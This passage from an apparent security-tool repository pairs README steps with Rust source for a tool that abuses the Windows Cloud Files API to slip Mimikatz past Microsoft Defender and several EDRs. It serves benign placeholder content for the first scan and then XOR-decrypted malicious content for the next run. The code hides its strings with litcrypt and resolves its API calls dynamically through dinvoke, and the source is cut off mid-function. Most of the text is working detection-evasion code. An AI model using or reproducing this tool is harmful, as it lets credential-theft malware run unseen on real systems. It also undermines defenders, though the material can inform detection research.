5. Once the cached content has been discarded (if necessary), the next execution will launch `Mimikatz` without `Microsoft Defender` detecting it, despite executing highly recognizable malicious code. The reason it is not detected (apart from the fact that there is no visibility into the write to disk) is that the AV considers that the file has not been modified since the last scan. If we analyze the activity with **Procmon**, we can see that, when launching `Mimikatz`, the AV checks the USN Journal and the metadata of the file's corresponding MFT entry to determine whether it has been modified since the last scan. However, and for some reason I do not know, the hydration performed by `CldFlt` is not recorded in either of these two sources of truth as a file modification operation (conjecture: I suppose because of the use of the `FLTFL_IO_OPERATION_PAGING` flag when calling `FltWriteFileEx`, although this is only a hypothesis). Therefore, since the AV has already recently scanned the file (initial execution of `Backing file 1`) without finding anything malicious, has not seen any write to it because `CldFlt` is at a lower altitude, and no checked source of truth indicates file modification, the malware is allowed to execute without being reanalyzed.
|
||||
|
||||
**This same behavior has also been detected in numerous EDRs**. However, although the malware write goes unnoticed by **all endpoint protection solutions** due to what was discussed previously, some EDRs do reanalyze the binary when receiving a process creation callback regardless of whether it has been recently analyzed or not, which allows them to detect the payload at runtime. For this reason, in this type of environment it is necessary to combine this technique with the use of `bindlinks` described [here](../BindLinks/README.md).
|
||||
|
||||
6. Once execution is finished, the registered sync provider must be removed. To do this, first dehydrate the file (pressing `1` in the tool console) and then unregister the provider (pressing `2`).
|
||||
|
||||

|
||||
@@ -0,0 +1,3 @@
|
||||
fn main() {
|
||||
static_vcruntime::metabuild();
|
||||
}
|
||||
@@ -0,0 +1,16 @@
|
||||
[package]
|
||||
name = "data"
|
||||
version = "0.1.0"
|
||||
edition = "2021"
|
||||
|
||||
[dependencies]
|
||||
windows-core = "0.62.2"
|
||||
|
||||
[dependencies.windows]
|
||||
version = "=0.62"
|
||||
features = [
|
||||
"Win32_Foundation",
|
||||
"Win32_System_IO",
|
||||
"Win32_Storage",
|
||||
"Win32_Storage_CloudFilters"
|
||||
]
|
||||
@@ -0,0 +1,230 @@
|
||||
use std::{ffi::c_void, sync::atomic::AtomicUsize};
|
||||
use windows::Win32::{Foundation::HANDLE, System::IO::OVERLAPPED};
|
||||
use windows_core::GUID;
|
||||
|
||||
pub const CF_HYDRATION_POLICY_PARTIAL: u16 = 0;
|
||||
pub const CF_HYDRATION_POLICY_FULL: u16 = 2;
|
||||
pub const CF_HYDRATION_POLICY_MODIFIER_NONE: u16 = 0;
|
||||
pub const CF_HYDRATION_POLICY_MODIFIER_STREAMING_ALLOWED: u16 = 2;
|
||||
|
||||
pub const CF_POPULATION_POLICY_PARTIAL: u16 = 0;
|
||||
pub const CF_POPULATION_POLICY_FULL: u16 = 2;
|
||||
pub const CF_POPULATION_POLICY_MODIFIER_NONE: u16 = 0;
|
||||
|
||||
pub const CF_INSYNC_POLICY_NONE: u32 = 0;
|
||||
pub const CF_HARDLINK_POLICY_NONE: i32 = 0;
|
||||
|
||||
pub const CF_PLACEHOLDER_MANAGEMENT_POLICY_DEFAULT: i32 = 0;
|
||||
pub const CF_PLACEHOLDER_MANAGEMENT_POLICY_CREATE_UNRESTRICTED: i32 = 1;
|
||||
|
||||
pub const CF_CALLBACK_TYPE_FETCH_DATA: i32 = 0;
|
||||
pub const CF_CALLBACK_TYPE_FETCH_PLACEHOLDERS: i32 = 3;
|
||||
pub const CF_CALLBACK_TYPE_NOTIFY_FILE_OPEN_COMPLETION: i32 = 5;
|
||||
pub const CF_CALLBACK_TYPE_NOTIFY_FILE_CLOSE_COMPLETION: i32 = 6;
|
||||
pub const CF_CALLBACK_TYPE_NONE: i32 = -1;
|
||||
|
||||
pub const CF_CONNECT_FLAG_REQUIRE_PROCESS_INFO: i32 = 2;
|
||||
pub const CF_CONNECT_FLAG_REQUIRE_FULL_FILE_PATH: i32 = 4;
|
||||
|
||||
pub const CF_CONVERT_FLAG_MARK_IN_SYNC: i32 = 1;
|
||||
pub const CF_CONVERT_FLAG_DEHYDRATE: i32 = 2;
|
||||
pub const CF_CONVERT_FLAG_ENABLE_ON_DEMAND_POPULATION: i32 = 4;
|
||||
|
||||
pub const CF_PROVIDER_STATUS_IDLE: u32 = 1;
|
||||
|
||||
pub const CF_OPERATION_TRANSFER_PLACEHOLDERS_FLAG_DISABLE_ON_DEMAND_POPULATION: i32 = 2;
|
||||
|
||||
pub const FILE_ATTRIBUTE_ARCHIVE: u32 = 0x00000020;
|
||||
|
||||
pub const CF_PLACEHOLDER_CREATE_FLAG_MARK_IN_SYNC: i32 = 2;
|
||||
|
||||
pub const CF_OPERATION_TYPE_TRANSFER_PLACEHOLDERS: i32 = 4;
|
||||
|
||||
pub const CF_OPERATION_TYPE_TRANSFER_DATA: i32 = 0;
|
||||
|
||||
pub const STATUS_END_OF_FILE: i32 = -1073741807; //0xC0000011
|
||||
|
||||
#[derive(Debug)]
|
||||
pub struct Config {
|
||||
pub sync_root_directory: String,
|
||||
pub placeholder_name: String,
|
||||
pub placeholder_index: AtomicUsize, // 0 or 1
|
||||
pub placeholder_backing_content: [Vec<u8>;2],
|
||||
pub placeholder_size: usize,
|
||||
pub key: String,
|
||||
pub mode: i8
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub struct CfSyncRegistration {
|
||||
pub struct_size: u32,
|
||||
pub provider_name: *mut u16,
|
||||
pub provider_version: *mut u16,
|
||||
pub sync_root_identity: *const c_void,
|
||||
pub sync_root_identity_length: u32,
|
||||
pub file_identity: *const c_void,
|
||||
pub file_identity_length: u32,
|
||||
pub provider_id: GUID,
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub struct CfHydrationPolicy {
|
||||
pub primary: u16,
|
||||
pub modifier: u16,
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub struct CfPopulationPolicy {
|
||||
pub primary: u16,
|
||||
pub modifier: u16,
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub struct CfSyncPolicies {
|
||||
pub struct_size: u32,
|
||||
pub hydration: CfHydrationPolicy,
|
||||
pub population: CfPopulationPolicy,
|
||||
pub in_sync: u32,
|
||||
pub hard_link: i32,
|
||||
pub placeholder_management: i32,
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub struct CfCallbackRegistration {
|
||||
pub callback_type: i32,
|
||||
pub callback: usize,
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub struct CfCallbackInfo {
|
||||
pub struct_size: u32,
|
||||
pub connection_key: i64,
|
||||
pub callback_context: *mut c_void,
|
||||
pub volume_guid_name: *mut u16,
|
||||
pub volume_dos_name: *mut u16,
|
||||
pub volume_serial_number: u32,
|
||||
pub sync_root_file_id: i64,
|
||||
pub sync_root_identity: *const c_void,
|
||||
pub sync_root_identity_length: u32,
|
||||
pub file_id: i64,
|
||||
pub file_size: i64,
|
||||
pub file_identity: *const c_void,
|
||||
pub file_identity_length: u32,
|
||||
pub normalized_path: *mut u16,
|
||||
pub transfer_key: i64,
|
||||
pub priority_hint: u8,
|
||||
pub correlation_vector: *mut c_void,
|
||||
pub process_info: *mut CfProcessInfo,
|
||||
pub request_key: i64,
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub struct CfProcessInfo {
|
||||
pub struct_size: u32,
|
||||
pub process_id: u32,
|
||||
pub image_path: *mut u16,
|
||||
pub package_name: *mut u16,
|
||||
pub application_id: *mut u16,
|
||||
pub command_line: *mut u16,
|
||||
pub session_id: u32,
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub struct CfOperationInfo {
|
||||
pub struct_size: u32,
|
||||
pub op_type: i32,
|
||||
pub connection_key: i64,
|
||||
pub transfer_key: i64,
|
||||
pub correlation_vector: *const CorrelationVector,
|
||||
pub sync_status: *const CfSyncStatus,
|
||||
pub request_key: i64,
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub struct CorrelationVector {
|
||||
pub version: i8,
|
||||
pub vector: [i8; 129],
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub struct CfSyncStatus {
|
||||
pub struct_size: u32,
|
||||
pub code: u32,
|
||||
pub description_offset: u32,
|
||||
pub description_length: u32,
|
||||
pub device_id_offset: u32,
|
||||
pub device_id_length: u32,
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub struct CfOperationParameters {
|
||||
pub param_size: u32,
|
||||
pub anonymous: CF_OPERATION_PARAMETERS_0,
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub union CF_OPERATION_PARAMETERS_0 {
|
||||
pub transfer_data: CfOperationParameters0_0,
|
||||
pub transfer_placeholders: CfOperationParameters0_1,
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
#[derive(Clone,Copy)]
|
||||
pub struct CfOperationParameters0_0 {
|
||||
pub flags: i32,
|
||||
pub completion_status: i32,
|
||||
pub buffer: *const c_void,
|
||||
pub offset: i64,
|
||||
pub length: i64,
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
#[derive(Clone,Copy)]
|
||||
pub struct CfOperationParameters0_1 {
|
||||
pub flags: i32,
|
||||
pub completion_status: i32,
|
||||
pub placeholder_total_count: i64,
|
||||
pub placeholder_array: *mut CfPlaceholderCreateInfo,
|
||||
pub placeholder_count: u32,
|
||||
pub entries_processed: u32,
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub struct CfPlaceholderCreateInfo {
|
||||
pub relative_file_name: *mut u16,
|
||||
pub fs_metadata: CfFsMetadata,
|
||||
pub file_identity: *const c_void,
|
||||
pub file_identity_length: u32,
|
||||
pub flags: i32,
|
||||
pub result: u32,
|
||||
pub create_usn: i64,
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub struct CfFsMetadata {
|
||||
pub basic_info: FileBasicInfo,
|
||||
pub file_size: i64,
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub struct FileBasicInfo {
|
||||
pub creation_time: i64,
|
||||
pub last_access_time: i64,
|
||||
pub last_write_time: i64,
|
||||
pub change_time: i64,
|
||||
pub file_attributes: u32,
|
||||
}
|
||||
|
||||
pub type CfRegisterSyncRoot = unsafe extern "system" fn (*mut u16, *const CfSyncRegistration, *const CfSyncPolicies, i32) -> u32; // Returns HRESULT
|
||||
pub type CfUnregisterSyncRoot = unsafe extern "system" fn (*mut u16) -> u32; // Returns HRESULT
|
||||
pub type CfConnectSyncRoot = unsafe extern "system" fn (*mut u16, *const CfCallbackRegistration, *mut c_void, i32, *mut i64) -> u32; // Returns HRESULT
|
||||
pub type CfDisconnectSyncRoot = unsafe extern "system" fn (i64) -> u32; // Returns HRESULT
|
||||
pub type CfOpenFileWithOplock = unsafe extern "system" fn (*mut u16, i32, *mut HANDLE) -> u32; // Returns HRESULT
|
||||
pub type CfGetWin32HandleFromProtectedHandle = unsafe extern "system" fn (HANDLE) -> HANDLE;
|
||||
pub type CfConvertToPlaceholder = unsafe extern "system" fn (HANDLE, *mut c_void, u32, i32, *mut i64, *mut OVERLAPPED) -> u32; // Returns HRESULT
|
||||
pub type CfCreatePlaceholders = unsafe extern "system" fn (*mut u16, *mut CfPlaceholderCreateInfo, u32, i32, *mut u32) -> u32; // Returns HRESULT
|
||||
pub type CfCloseHandle = unsafe extern "system" fn (HANDLE);
|
||||
pub type CfReleaseProtectedHandle = unsafe extern "system" fn (HANDLE);
|
||||
pub type CfUpdateSyncProviderStatus = unsafe extern "system" fn (i64, u32) -> u32; // Returns HRESULT
|
||||
pub type CfExecute = unsafe extern "system" fn (*const CfOperationInfo, *mut CfOperationParameters) -> u32; // Returns HRESULT
|
||||
pub type CfDehydratePlaceholder = unsafe extern "system" fn (HANDLE, i64, i64, i32, *mut OVERLAPPED) -> u32; // Returns HRESULT, the official documentation seems to be incorrect
|
||||
@@ -0,0 +1,18 @@
|
||||
[package]
|
||||
name = "provider"
|
||||
version = "0.1.0"
|
||||
edition = "2021"
|
||||
|
||||
[dependencies]
|
||||
windows-core = "0.62.2"
|
||||
dinvoke_rs = "=0.2.1"
|
||||
litcrypt2 = "=0.1.2"
|
||||
data = { path = "../data" }
|
||||
|
||||
[dependencies.windows]
|
||||
version = "=0.62"
|
||||
features = [
|
||||
"Win32_Storage",
|
||||
"Win32_Storage_CloudFilters",
|
||||
"Win32_UI_Shell"
|
||||
]
|
||||
@@ -0,0 +1,733 @@
|
||||
use litcrypt2::{use_litcrypt, lc};
|
||||
use_litcrypt!();
|
||||
|
||||
use std::{borrow::Cow, io::{self, Write}, ptr, sync::{OnceLock, atomic::Ordering}, u32};
|
||||
use data::{CF_CALLBACK_TYPE_FETCH_DATA, CF_CALLBACK_TYPE_FETCH_PLACEHOLDERS, CF_CALLBACK_TYPE_NONE, CF_CONNECT_FLAG_REQUIRE_FULL_FILE_PATH,
|
||||
CF_CONNECT_FLAG_REQUIRE_PROCESS_INFO, CF_HYDRATION_POLICY_FULL, CF_HYDRATION_POLICY_MODIFIER_STREAMING_ALLOWED,
|
||||
CF_OPERATION_TRANSFER_PLACEHOLDERS_FLAG_DISABLE_ON_DEMAND_POPULATION, CF_OPERATION_TYPE_TRANSFER_DATA, CF_OPERATION_TYPE_TRANSFER_PLACEHOLDERS,
|
||||
CF_PLACEHOLDER_CREATE_FLAG_MARK_IN_SYNC, CF_POPULATION_POLICY_PARTIAL, CF_PROVIDER_STATUS_IDLE, CfCallbackInfo, CfCallbackRegistration, CfCloseHandle,
|
||||
CfConnectSyncRoot, CfCreatePlaceholders, CfDehydratePlaceholder, CfDisconnectSyncRoot, CfExecute, CfGetWin32HandleFromProtectedHandle, CfOpenFileWithOplock,
|
||||
CfOperationInfo, CfOperationParameters, CfPlaceholderCreateInfo, CfRegisterSyncRoot, CfReleaseProtectedHandle, CfSyncPolicies, CfSyncRegistration,
|
||||
CfUnregisterSyncRoot, CfUpdateSyncProviderStatus, Config, FILE_ATTRIBUTE_ARCHIVE, STATUS_END_OF_FILE};
|
||||
use windows::Win32::{Foundation::HANDLE, Storage::{CloudFilters::CF_CALLBACK_PARAMETERS}, UI::Shell::PathMatchSpecW};
|
||||
use windows_core::{GUID, PCWSTR};
|
||||
|
||||
static CONFIG: OnceLock<Config> = OnceLock::new();
|
||||
|
||||
pub fn set_constants(sync_root_directory: String, placeholder_name: String, backing_file_1: Vec<u8>, backing_file_2: Vec<u8>, key: String, mode: i8) {
|
||||
|
||||
let placeholder_size = backing_file_1.len();
|
||||
CONFIG
|
||||
.set(Config { sync_root_directory, placeholder_name, placeholder_index: 0.into(), placeholder_backing_content: [backing_file_1, backing_file_2], placeholder_size, key, mode})
|
||||
.expect("");
|
||||
}
|
||||
|
||||
fn sync_root() -> &'static str {
|
||||
CONFIG.get().unwrap().sync_root_directory.as_str()
|
||||
}
|
||||
|
||||
fn placeholder_name() -> &'static str {
|
||||
CONFIG.get().unwrap().placeholder_name.as_str()
|
||||
}
|
||||
|
||||
fn get_current_backing_content() -> Cow<'static, [u8]> {
|
||||
let cfg = CONFIG.get().unwrap();
|
||||
let index = cfg.placeholder_index.load(Ordering::SeqCst);
|
||||
|
||||
let src: &'static [u8] = &cfg.placeholder_backing_content[index];
|
||||
if index == 1 && !cfg.key.is_empty() {
|
||||
Cow::Owned(xor_decrypt_to_vec(src, cfg.key.as_bytes()))
|
||||
} else {
|
||||
Cow::Borrowed(src)
|
||||
}
|
||||
}
|
||||
|
||||
fn get_current_backing_content_len() -> usize {
|
||||
let index = CONFIG.get().unwrap().placeholder_index.load(Ordering::SeqCst);
|
||||
CONFIG.get().unwrap().placeholder_backing_content[index].len()
|
||||
}
|
||||
|
||||
fn get_placeholder_size() -> usize {
|
||||
CONFIG.get().unwrap().placeholder_size
|
||||
}
|
||||
|
||||
fn toggle_placeholder_index() {
|
||||
let cfg = CONFIG.get().unwrap();
|
||||
// 0->1, 1->0
|
||||
cfg.placeholder_index.fetch_xor(1, Ordering::SeqCst);
|
||||
}
|
||||
|
||||
fn is_mode_2() -> bool {
|
||||
CONFIG.get().unwrap().mode == 2
|
||||
}
|
||||
|
||||
pub fn register_sync_root() -> bool
|
||||
{
|
||||
unsafe
|
||||
{
|
||||
let mut provider_name: Vec<u16> = lc!("RandomProviderName").encode_utf16().collect(); // Change this
|
||||
provider_name.push(0);
|
||||
|
||||
let mut provider_version: Vec<u16> = lc!("1.0").encode_utf16().collect();
|
||||
provider_version.push(0);
|
||||
|
||||
let mut register: CfSyncRegistration = std::mem::zeroed();
|
||||
register.struct_size = size_of::<CfSyncRegistration>() as _;
|
||||
register.provider_name = provider_name.as_mut_ptr();
|
||||
register.provider_version = provider_version.as_mut_ptr();
|
||||
register.sync_root_identity = provider_name.as_ptr() as _;
|
||||
register.sync_root_identity_length = (provider_name.len() * 2) as _;
|
||||
register.provider_id = GUID::from_u128(0x12345678_9abc_def0_1234_56789abcdef); // Change this
|
||||
|
||||
let mut policies: CfSyncPolicies = std::mem::zeroed();
|
||||
policies.struct_size = size_of::<CfSyncPolicies>() as _;
|
||||
// It seems it prevents the placeholder's content to be asked by chunks, the full retrieval of the content is the rule with this flag
|
||||
policies.hydration.primary = CF_HYDRATION_POLICY_FULL;
|
||||
policies.hydration.modifier = CF_HYDRATION_POLICY_MODIFIER_STREAMING_ALLOWED; // This seems useless
|
||||
policies.population.primary = CF_POPULATION_POLICY_PARTIAL; // I guess it reduces sync root directory fetching
|
||||
//policies.population.modifier = CF_POPULATION_POLICY_MODIFIER_NONE;
|
||||
//policies.in_sync = CF_INSYNC_POLICY_NONE;
|
||||
//policies.hard_link = CF_HARDLINK_POLICY_NONE;
|
||||
policies.placeholder_management = 1;
|
||||
|
||||
let cloud_api_dll = dinvoke_rs::dinvoke::load_library_a(&lc!("CldApi.dll"));
|
||||
if cloud_api_dll == 0 {
|
||||
println!("{}", lc!("[x] DLL CldApi.dll not found."));
|
||||
return false;
|
||||
}
|
||||
|
||||
let function: CfRegisterSyncRoot;
|
||||
let ret: Option<u32>;
|
||||
let mut root_path: Vec<u16> = sync_root().encode_utf16().collect();
|
||||
root_path.push(0);
|
||||
dinvoke_rs::dinvoke::dynamic_invoke!(
|
||||
cloud_api_dll,
|
||||
&lc!("CfRegisterSyncRoot"),
|
||||
function,
|
||||
ret,
|
||||
root_path.as_mut_ptr(),
|
||||
®ister,
|
||||
&policies,
|
||||
0 // CF_REGISTER_FLAG_NONE
|
||||
);
|
||||
|
||||
if ret.unwrap() != 0 {
|
||||
println!("{}{:x}", lc!("[x] Call to CfRegisterSyncRoot failed. HRESULT: "), ret.unwrap());
|
||||
return false;
|
||||
}
|
||||
|
||||
println!("{}", lc!("[+] Sync root sucessfully registered."));
|
||||
|
||||
true
|
||||
}
|
||||
}
|
||||
|
||||
pub fn unregister_sync_root() -> bool
|
||||
{
|
||||
unsafe
|
||||
{
|
||||
let cloud_api_dll = dinvoke_rs::dinvoke::load_library_a(&lc!("CldApi.dll"));
|
||||
if cloud_api_dll == 0 {
|
||||
println!("{}", lc!("[x] DLL CldApi.dll not found."));
|
||||
return false;
|
||||
}
|
||||
|
||||
let function: CfUnregisterSyncRoot;
|
||||
let ret: Option<u32>;
|
||||
let mut root_path: Vec<u16> = sync_root().encode_utf16().collect();
|
||||
root_path.push(0);
|
||||
dinvoke_rs::dinvoke::dynamic_invoke!(
|
||||
cloud_api_dll,
|
||||
&lc!("CfUnregisterSyncRoot"),
|
||||
function,
|
||||
ret,
|
||||
root_path.as_mut_ptr(),
|
||||
);
|
||||
|
||||
if ret.unwrap() != 0 {
|
||||
println!("{}{:x}", lc!("[x] Call to CfUnregisterSyncRoot failed. HRESULT: "), ret.unwrap());
|
||||
return false;
|
||||
}
|
||||
|
||||
println!("{}", lc!("[+] Sync root sucessfully removed."));
|
||||
|
||||
true
|
||||
}
|
||||
}
|
||||
|
||||
pub fn connect_to_sync_root() -> i64
|
||||
{
|
||||
unsafe
|
||||
{
|
||||
let cloud_api_dll = dinvoke_rs::dinvoke::load_library_a(&lc!("CldApi.dll"));
|
||||
if cloud_api_dll == 0 {
|
||||
println!("{}", lc!("[x] DLL CldApi.dll not found."));
|
||||
return 0;
|
||||
}
|
||||
|
||||
let function: CfConnectSyncRoot;
|
||||
let ret: Option<u32>;
|
||||
let mut root_path: Vec<u16> = sync_root().encode_utf16().collect();
|
||||
root_path.push(0);
|
||||
let callback_table = get_callback_table();
|
||||
let flags = CF_CONNECT_FLAG_REQUIRE_PROCESS_INFO | CF_CONNECT_FLAG_REQUIRE_FULL_FILE_PATH;
|
||||
let connection_key = 0i64;
|
||||
let connection_key = std::mem::transmute(&connection_key);
|
||||
dinvoke_rs::dinvoke::dynamic_invoke!(
|
||||
cloud_api_dll,
|
||||
&lc!("CfConnectSyncRoot"),
|
||||
function,
|
||||
ret,
|
||||
root_path.as_mut_ptr(),
|
||||
callback_table.as_ptr(),
|
||||
ptr::null_mut(),
|
||||
flags,
|
||||
connection_key
|
||||
);
|
||||
|
||||
if ret.unwrap() != 0 {
|
||||
println!("{}{:x}", lc!("[x] Call to CfConnectSyncRoot failed. HRESULT: "), ret.unwrap());
|
||||
return 0;
|
||||
}
|
||||
|
||||
println!("{}0x{:x}", lc!("[+] Connection to sync root established. Connection key: "), *connection_key);
|
||||
|
||||
*connection_key
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
pub fn disconnect_from_sync_root(connection_key: i64) -> bool
|
||||
{
|
||||
unsafe
|
||||
{
|
||||
let cloud_api_dll = dinvoke_rs::dinvoke::load_library_a(&lc!("CldApi.dll"));
|
||||
if cloud_api_dll == 0 {
|
||||
println!("{}", lc!("[x] DLL CldApi.dll not found."));
|
||||
return false;
|
||||
}
|
||||
|
||||
let function: CfDisconnectSyncRoot;
|
||||
let ret: Option<u32>;
|
||||
dinvoke_rs::dinvoke::dynamic_invoke!(
|
||||
cloud_api_dll,
|
||||
&lc!("CfDisconnectSyncRoot"),
|
||||
function,
|
||||
ret,
|
||||
connection_key
|
||||
);
|
||||
|
||||
if ret.unwrap() != 0 {
|
||||
println!("{}{:x}", lc!("[x] Call to CfDisconnectSyncRoot failed. HRESULT: "), ret.unwrap());
|
||||
return false;
|
||||
}
|
||||
|
||||
println!("{}", lc!("[+] Successfully disconnected from sync root."));
|
||||
}
|
||||
|
||||
true
|
||||
}
|
||||
|
||||
fn get_callback_table() -> [CfCallbackRegistration; 3]
|
||||
{
|
||||
let first_callback = CfCallbackRegistration {
|
||||
callback_type: CF_CALLBACK_TYPE_FETCH_PLACEHOLDERS,
|
||||
callback: (fetch_placeholders as *const()) as usize
|
||||
};
|
||||
|
||||
let second_callback = CfCallbackRegistration {
|
||||
callback_type: CF_CALLBACK_TYPE_FETCH_DATA,
|
||||
callback: (fetch_data as *const()) as usize
|
||||
};
|
||||
|
||||
let end_callback = CfCallbackRegistration {
|
||||
callback_type: CF_CALLBACK_TYPE_NONE,
|
||||
callback: 0
|
||||
};
|
||||
|
||||
[first_callback, second_callback, end_callback]
|
||||
}
|
||||
|
||||
pub fn create_placeholder() -> bool
|
||||
{
|
||||
unsafe
|
||||
{
|
||||
let placeholder_path = format!("{}\\{}", sync_root(), placeholder_name());
|
||||
let cloud_api_dll = dinvoke_rs::dinvoke::load_library_a(&lc!("CldApi.dll"));
|
||||
if cloud_api_dll == 0 {
|
||||
println!("{}", lc!("[x] DLL CldApi.dll not found."));
|
||||
return false;
|
||||
}
|
||||
|
||||
let function: CfCreatePlaceholders;
|
||||
let ret: Option<u32>;
|
||||
let mut sync_root_path: Vec<u16> = sync_root().encode_utf16().collect();
|
||||
sync_root_path.push(0);
|
||||
let mut placeholder_create: CfPlaceholderCreateInfo = std::mem::zeroed();
|
||||
let mut relative_name_unicode: Vec<u16> = placeholder_name().encode_utf16().collect();
|
||||
relative_name_unicode.push(0);
|
||||
placeholder_create.relative_file_name = relative_name_unicode.as_mut_ptr();
|
||||
placeholder_create.fs_metadata.basic_info.file_attributes = FILE_ATTRIBUTE_ARCHIVE;
|
||||
placeholder_create.fs_metadata.file_size = get_placeholder_size() as _;
|
||||
placeholder_create.file_identity = relative_name_unicode.as_mut_ptr() as *mut _;
|
||||
placeholder_create.file_identity_length = (relative_name_unicode.len() * 2) as _;
|
||||
placeholder_create.flags = CF_PLACEHOLDER_CREATE_FLAG_MARK_IN_SYNC;
|
||||
let mut entries = 0u32;
|
||||
dinvoke_rs::dinvoke::dynamic_invoke!(
|
||||
cloud_api_dll,
|
||||
&lc!("CfCreatePlaceholders"),
|
||||
function,
|
||||
ret,
|
||||
sync_root_path.as_mut_ptr(),
|
||||
&mut placeholder_create,
|
||||
1,
|
||||
0,
|
||||
&mut entries
|
||||
);
|
||||
|
||||
if ret.unwrap() != 0 || entries == 0 {
|
||||
println!("{}{:x}", lc!("[x] Call to CfCreatePlaceholders failed. HRESULT: "), ret.unwrap());
|
||||
return false;
|
||||
}
|
||||
|
||||
println!("{}{}", lc!("[+] Placeholder created: "), placeholder_path);
|
||||
}
|
||||
|
||||
true
|
||||
}
|
||||
|
||||
pub fn set_provider_status_idle(connection_key: i64) -> bool
|
||||
{
|
||||
unsafe
|
||||
{
|
||||
let cloud_api_dll = dinvoke_rs::dinvoke::load_library_a(&lc!("CldApi.dll"));
|
||||
if cloud_api_dll == 0 {
|
||||
println!("{}", lc!("[x] DLL CldApi.dll not found."));
|
||||
return false;
|
||||
}
|
||||
|
||||
let function: CfUpdateSyncProviderStatus;
|
||||
let ret: Option<u32>;
|
||||
dinvoke_rs::dinvoke::dynamic_invoke!(
|
||||
cloud_api_dll,
|
||||
&lc!("CfUpdateSyncProviderStatus"),
|
||||
function,
|
||||
ret,
|
||||
connection_key,
|
||||
CF_PROVIDER_STATUS_IDLE
|
||||
);
|
||||
|
||||
if ret.unwrap() != 0 {
|
||||
println!("{}{:x}", lc!("[x] Call to CfUpdateSyncProviderStatus failed. HRESULT: "), ret.unwrap());
|
||||
return false;
|
||||
}
|
||||
|
||||
println!("{}", lc!("[+] Provider status set to CF_PROVIDER_STATUS_IDLE."));
|
||||
}
|
||||
|
||||
true
|
||||
}
|
||||
|
||||
fn cf_close_handle(handle: HANDLE)
|
||||
{
|
||||
unsafe
|
||||
{
|
||||
let cloud_api_dll = dinvoke_rs::dinvoke::load_library_a(&lc!("CldApi.dll"));
|
||||
if cloud_api_dll == 0 {
|
||||
println!("{}", lc!("[x] DLL CldApi.dll not found."));
|
||||
return;
|
||||
}
|
||||
|
||||
let function: CfCloseHandle;
|
||||
let _ret: Option<()>;
|
||||
dinvoke_rs::dinvoke::dynamic_invoke!(
|
||||
cloud_api_dll,
|
||||
&lc!("CfCloseHandle"),
|
||||
function,
|
||||
_ret,
|
||||
handle
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
pub fn cf_release_protected_handle(handle: HANDLE)
|
||||
{
|
||||
unsafe
|
||||
{
|
||||
let cloud_api_dll = dinvoke_rs::dinvoke::load_library_a(&lc!("CldApi.dll"));
|
||||
if cloud_api_dll == 0 {
|
||||
println!("{}", lc!("[x] DLL CldApi.dll not found."));
|
||||
return;
|
||||
}
|
||||
|
||||
let function: CfReleaseProtectedHandle;
|
||||
let _ret: Option<()>;
|
||||
dinvoke_rs::dinvoke::dynamic_invoke!(
|
||||
cloud_api_dll,
|
||||
&lc!("CfReleaseProtectedHandle"),
|
||||
function,
|
||||
_ret,
|
||||
handle
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
fn cf_execute(operation_info: *const CfOperationInfo, operation_parameters: *mut CfOperationParameters) -> u32
|
||||
{
|
||||
unsafe
|
||||
{
|
||||
let cloud_api_dll = dinvoke_rs::dinvoke::load_library_a(&lc!("CldApi.dll"));
|
||||
if cloud_api_dll == 0 {
|
||||
println!("{}", lc!("[x] DLL CldApi.dll not found."));
|
||||
return u32::MAX;
|
||||
}
|
||||
|
||||
let function: CfExecute;
|
||||
let ret: Option<u32>;
|
||||
dinvoke_rs::dinvoke::dynamic_invoke!(
|
||||
cloud_api_dll,
|
||||
&lc!("CfExecute"),
|
||||
function,
|
||||
ret,
|
||||
operation_info,
|
||||
operation_parameters
|
||||
);
|
||||
|
||||
ret.unwrap()
|
||||
}
|
||||
}
|
||||
|
||||
fn fetch_placeholders(callbackinfo: *const CfCallbackInfo, callbackparameters: *const CF_CALLBACK_PARAMETERS)
|
||||
{
|
||||
unsafe
|
||||
{
|
||||
let pattern_pcw = (*callbackparameters).Anonymous.FetchPlaceholders.Pattern;
|
||||
let mut pattern = dinvoke_rs::utils::pwstr_to_string(pattern_pcw.0);
|
||||
if pattern.is_empty() {
|
||||
pattern = "*".to_string();
|
||||
}
|
||||
|
||||
let placeholder = placeholder_name();
|
||||
let mut placeholder_wide = dinvoke_rs::utils::str_to_wide_string(placeholder);
|
||||
let pattern_wide = dinvoke_rs::utils::str_to_wide_string(&pattern);
|
||||
let matches = PathMatchSpecW(PCWSTR(placeholder_wide.as_ptr()), PCWSTR(pattern_wide.as_ptr())).as_bool();
|
||||
|
||||
|
||||
let mut op_info: CfOperationInfo = std::mem::zeroed();
|
||||
op_info.struct_size = size_of::<CfOperationInfo>() as _;
|
||||
op_info.op_type = CF_OPERATION_TYPE_TRANSFER_PLACEHOLDERS;
|
||||
op_info.connection_key = (*callbackinfo).connection_key;
|
||||
op_info.transfer_key = (*callbackinfo).transfer_key;
|
||||
op_info.correlation_vector = (*callbackinfo).correlation_vector as _;
|
||||
op_info.sync_status = ptr::null();
|
||||
op_info.request_key = (*callbackinfo).request_key;
|
||||
|
||||
let mut operation_info_parameters: CfOperationParameters = std::mem::zeroed();
|
||||
operation_info_parameters.param_size = size_of::<CfOperationParameters>() as _;
|
||||
operation_info_parameters.anonymous.transfer_placeholders.flags = CF_OPERATION_TRANSFER_PLACEHOLDERS_FLAG_DISABLE_ON_DEMAND_POPULATION;
|
||||
operation_info_parameters.anonymous.transfer_placeholders.completion_status = 0; // STATUS_SUCCESS
|
||||
operation_info_parameters.anonymous.transfer_placeholders.placeholder_total_count = 1;
